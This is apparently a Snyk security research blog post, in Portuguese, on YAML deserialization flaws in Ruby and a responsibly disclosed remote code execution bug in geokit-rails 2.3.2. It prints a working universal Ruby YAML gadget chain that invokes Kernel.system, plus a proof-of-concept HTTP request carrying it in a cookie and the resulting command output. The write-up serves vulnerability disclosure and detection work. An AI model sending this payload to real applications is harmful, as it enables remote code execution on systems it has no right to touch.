Skip to main content

Como encontrar desserialização de YAML com Snyk Code

Escrito por
Headshot of Calum Hutton

Calum Hutton

23 de fevereiro de 2023

0 minutos de leitura

Conduzi uma pesquisa para tentar identificar problemas de injeção de YAML em projetos de código aberto usando Snyk Code. Embora essa vulnerabilidade não seja nova, o impacto potencial da injeção de YAML é alto, o que a tornou uma boa candidata para pesquisa. Essa pesquisa levou à descoberta de vários problemas em projetos de código aberto escritos em Python, PHP e Ruby. Este artigo se concentra no problema encontrado no geokit-rails versão 2.3.2, um plugin para Ruby on Rails

YAML

YAML é mais do que um simples formato de intercâmbio de dados, como JSON. A especificação descreve vários recursos avançados que merecem atenção em uma investigação de segurança, como:

  • Tags personalizadas (por exemplo, PyYAML)

  • Âncoras e aliases

  • Atributos mesclados

  • Fluxos com vários documentos

YAML também pode ser usado para serializar dados binários e objetos arbitrários em várias linguagens, o que pode levar a vulnerabilidades de desserialização. Essas vulnerabilidades são o foco desta pesquisa, pois a exploração bem-sucedida costuma levar à execução remota de código (RCE).

Desserialização de YAML em Ruby

Em Ruby, a análise de YAML faz parte da linguagem, portanto não são necessárias bibliotecas adicionais. Se uma aplicação usar o parser nativo de YAML do Ruby, estará vulnerável a ataques de desserialização caso YAML.load() ou YAML.load_file() seja usado em vez de YAML.safe_load() ou YAML.safe_load_file(), respectivamente. Uma alternativa segura por padrão para analisar YAML está disponível no projeto SafeYAML.

O script e a saída a seguir demonstram uma forma insegura de carregar YAML com YAML.load().

require 'yaml'

var = {
 id: 1,
 desc: 'A simple hash'
}

yaml = '---
:id: 1
:desc: A simple hash'

puts var
puts YAML.load(yaml)

# Prints:

{:id=>1, :desc=>"A simple hash"}
{:id=>1, :desc=>"A simple hash"}

A variável var contém um hash simples do Ruby, enquanto a variável yaml contém o hash equivalente serializado no formato YAML. As duas instruções puts exibem o mesmo hash, porque a variável yaml foi desserializada de volta de uma string YAML para um hash por meio de YAML.load(). Objetos mais complexos também podem ser serializados e desserializados dessa forma. 

Nos estágios iniciais desta pesquisa, encontrei um gadget universal de desserialização de YAML para Ruby que funcionava nas versões 2.x a 3.x do Ruby e que, ao ser desserializado, disparava a execução de comandos arbitrários.

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

A carga YAML acima executa o comando id durante a desserialização se for analisada com YAML.load() ou YAML.load_file().

Estudo de caso: geokit-rails (2.3.2)

A gem geokit-rails é um plugin para Ruby on Rails que oferece serviços de localização para a aplicação. O plugin usa o método inseguro YAML.load() por meio do método retrieve_location_from_cookie_or_service() em geokit-rails/ip_geocode_lookup.rb:

# Uses the stored location value from the cookie if it exists.  If
# no cookie exists, calls out to the web service to get the location.
def retrieve_location_from_cookie_or_service
 return GeoLoc.new(YAML.load(cookies[:geo_location])) if cookies[:geo_location]
 location = Geocoders::MultiGeocoder.geocode(get_ip_address)
 return location.success ? location : nil
end

Os dados enviados ao método inseguro YAML.load() vêm do parâmetro cookies do Ruby on Rails, que contém os cookies enviados na solicitação. Isso é uma boa notícia para um invasor, pois os cookies podem ser controlados diretamente pela criação de uma solicitação HTTP adequada. 

Prova de conceito

Configurei uma aplicação Rails com o plugin geokit-rails (versão 2.3.2) no Ruby 3.0.0. A solicitação HTTP a seguir foi enviada à aplicação para explorar o problema. Ela inclui a carga YAML codificada na URL no cookie geo_location.

GET http://127.0.0.1:3000/vulns HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Length: 0
Cookie: geo_location=---%0A-+%21ruby%2Fobject%3AGem%3A%3AInstaller%0A++++i%3A+x%0A-+%21ruby%2Fobject%3AGem%3A%3ASpecFetcher%0A++++i%3A+y%0A-+%21ruby%2Fobject%3AGem%3A%3ARequirement%0A++requirements%3A%0A++++%21ruby%2Fobject%3AGem%3A%3APackage%3A%3ATarReader%0A++++io%3A+%261+%21ruby%2Fobject%3ANet%3A%3ABufferedIO%0A++++++io%3A+%261+%21ruby%2Fobject%3AGem%3A%3APackage%3A%3ATarReader%3A%3AEntry%0A+++++++++read%3A+0%0A+++++++++header%3A+%22abc%22%0A++++++debug_output%3A+%261+%21ruby%2Fobject%3ANet%3A%3AWriteAdapter%0A+++++++++socket%3A+%261+%21ruby%2Fobject%3AGem%3A%3ARequestSet%0A+++++++++++++sets%3A+%21ruby%2Fobject%3ANet%3A%3AWriteAdapter%0A+++++++++++++++++socket%3A+%21ruby%2Fmodule+%27Kernel%27%0A+++++++++++++++++method_id%3A+%3Asystem%0A+++++++++++++git_set%3A+id%0A+++++++++method_id%3A+%3Aresolve; _my_rails_app_session=%2B48ny21MkgVzlJR4LMcsdNtOK0G1aHx0%2Byoz4xLnkaMHrCner7YSRfQ04notQ0oNesQdG4EV5T%2FpyrQBSKBdKOZLLvP2J1NLOAQe1Z5zTTuu5Grcw1wuRpIHKAmZjfj3bqKqghkOj1JpOBxJoxFS7L6cH3wIsoq%2FrK%2BlAxVvP%2F8F9g5Q%2FA3pLVj2DTF3l7CcDBzOE9cPCOShesP717YbZNoa%2BPNf3mGjmKWvq26Y3CKMg2z7mAJHA%2B0CdA9l2pXsbrgwRJUW3Epqx4eJt0%2FDCJgS6Mp7rGjQeoIqLj4%3D--YAEA%2FepI0t701ifo--fVitYcX5PORz3a9xN4ev4A%3D%3D; __profilin=p%3Dt

Na aplicação Rails, a carga foi desserializada e executada, rodando o comando id para comprovar a execução de comandos.

Started GET "/vulns" for 127.0.0.1 at 2022-11-07 12:05:57 +0000 Processing by VulnsController#index as HTML 
sh: reading: command not found 
uid=501(calumh) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae) 
Completed 500 Internal Server Error in 167ms (Allocations: 35610)

Em um sistema que utiliza geokit-rails, um invasor que explore essa vulnerabilidade pode iniciar uma RCE, potencialmente assumindo o controle total do sistema. 

Correção

Esse problema foi divulgado de forma responsável ao mantenedor do geokit-rails e corrigido na versão 2.5.0 do software, substituindo por JSON o YAML que continha as informações de coordenadas. Com base nesta pesquisa, aprimoramos as regras do Snyk Code para detectar injeções de YAML, o que significa que agora mais desses problemas podem ser detectados nos projetos dos usuários. 

Comece a jogar Capture the Flag

Aprenda a resolver desafios de Capture the Flag assistindo à gravação sob demanda do nosso workshop virtual introdutório.

Leia mais